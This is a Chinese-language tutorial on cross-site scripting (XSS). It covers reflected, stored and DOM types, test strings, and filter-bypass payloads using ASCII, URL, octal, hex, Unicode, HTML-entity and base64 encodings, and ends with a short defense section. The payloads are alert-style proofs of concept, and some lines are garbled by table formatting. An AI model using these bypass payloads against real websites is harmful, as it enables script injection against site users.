xss漏洞详解
对于xss漏洞一些基本的总结~~
00x1 xss分类
1、反射型
反射型 XSS,非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码
2、存储型
存储型 XSS,持久化,代码是存储在服务器中的数据库里,如在个人信息或发表文章等地方,可以插入代码,如果插入的数据没有过滤或过滤不严,那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成 xss 攻击。
3、DOM型
DOM,全称 Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的。
00x2 xss测试语句
在测试时,应该输入一些标签如<、>输入后查看网页源代码是否过滤标签,如果没过滤,很大可能存在 xss 漏洞。
1、常用的测试语句
1 | <h5>1</h5> |
2、 闭合
1 | "><span>x</span><" |
3、单行注释
1 | "><span>x</span>// |
00x3 常见payload
1 | 1、<script>标签 |
00x4 xss编码绕过
1、gpc过滤字符
如果 gpc 开启的时候,特殊字符会被加上斜杠即,’变成' 所以xss 攻击代码不要带用单引号或双引号。
2、过滤alert
当页面过滤掉alert时,使用不出现alert的语句即可,例:
1 | <script>prompt(/xss/);</script> |
3、过滤标签
● 在程序里如果使用 html 实体过滤,如在 php 会使用 htmlspecialchars()对输入的字符进行实体化,实体化之后的字符不会在 html 执行。
● 就不使用一些实体,如< > ‘ “ &等,如:
1 | onclick="javascript:alert(/xss/); |
4、ascii编码
1 | <script>alert(String.fromCharCode(88,83,83))</script> |
5、url编码
1 | <a href="javascript:%61%6c%65%72%74%28%32%29">123</a> |
6、js编码
● 八进制编码
1 | <script>eval("\141\154\145\162\164\50\61\51");</script> |
● 十六进制编码
1 | <script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script> |
● jsunicode 编码
1 | <script>\u0061\u006c\u0065\u0072\u0074('xss');</script> |
7、html编码
● 在=后可以解析html编码
● 十进制
1 | <img src=111 onerror="alert(1)" /> |
● 十六进制
<img src="x" onerror="alert(1)" />
8、base64编码
1 | <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a> |
00x5 xss防御
1、在cookie中添加httponly属性
2、输入检查(对客户端和服务端都要做输入的字符中是否有特殊字符的过滤检查)
3、输出检查(使用编码或者转义的方式)